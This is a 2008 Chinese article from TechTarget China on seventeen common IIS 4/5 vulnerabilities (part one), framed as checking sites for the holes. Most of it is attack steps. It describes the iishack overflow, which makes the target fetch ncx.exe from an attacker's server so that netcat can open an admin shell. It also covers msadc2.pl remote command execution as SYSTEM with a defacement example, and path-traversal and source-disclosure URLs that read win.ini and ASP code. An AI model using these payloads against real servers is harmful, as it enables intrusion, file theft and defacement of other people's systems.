IIS的十七个常见安全漏洞(一)

日期: 2008-01-09 作者:中国站长站 来源:TechTarget中国

        iis4hack缓冲溢出

        主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:

        c:>iishack.exe 80 /ncx.exe

        然后你就使用netcat来连接你要检测的服务器:

        c:>nc 80

        如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip

        msadc

        IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help 
        [quack@chat quack]$ perl msadc2.pl -h 
        — RDS smack v2 – rain forest puppy / ADM / wiretrip — 
        Usage: msadc.pl -h { -d -X -v } 
        -h = host you want to scan (ip or domain) 
        -d = delay between calls, default 1 second 
        -X = dump Index Server path table, if available 
        -N = query VbBusObj for NetBIOS name 
        -V = use VbBusObj instead of ActiveDataFactory 
        -v = verbose 
        -e = external dictionary file for step 5 
        -u <hostsharefile> = use UNC file 
        -w = Windows 95 instead of Windows NT 
        -c = v1 compatibility (three step query) 
        -s = run only step 
        Or a -R will resume a (v2) command session 
        [quack@chat quack]$ perl msadc2.pl -http://www.targe.com/ 
        — RDS smack v2 – rain forest puppy / ADM / wiretrip — 
        Type the command line you want to run (cmd /c assumed): 
        cmd /c 
        如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: 
        echo hacked by me > d:inetpubwwwrootvictimwebindex.htm

        Codebrws.asp

        查看文件源代码 
        http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp

        Showcode.asp

        查看文件源代码 
        http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini

        Null.htw

        查看文件源代码 
        http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full

        webhits.dll & .htw

        hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

        http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息:

        format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序: 
        /iissamples/issamples/oop/qfullhit.htw 
        /iissamples/issamples/oop/qsumrhit.htw 
        /isssamples/exair/search/qfullhit.htw 
        /isssamples/exair/search/qsumrhit.htw 
        /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用) 
        一个攻击者可以使用如下的方法来访问系统中文件的内容: 
        http://www.victim.com/iissamples/issamples/oop/qfullhit.htw
        ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

        就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代码

        ASP Dot Bug 

        在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。 
        http://www.victim.com/sample.asp.

        ISM.DLL

        这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。

        http://www.victim.com/global.asa%20%20(…<=230)global.asa.htr

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

相关推荐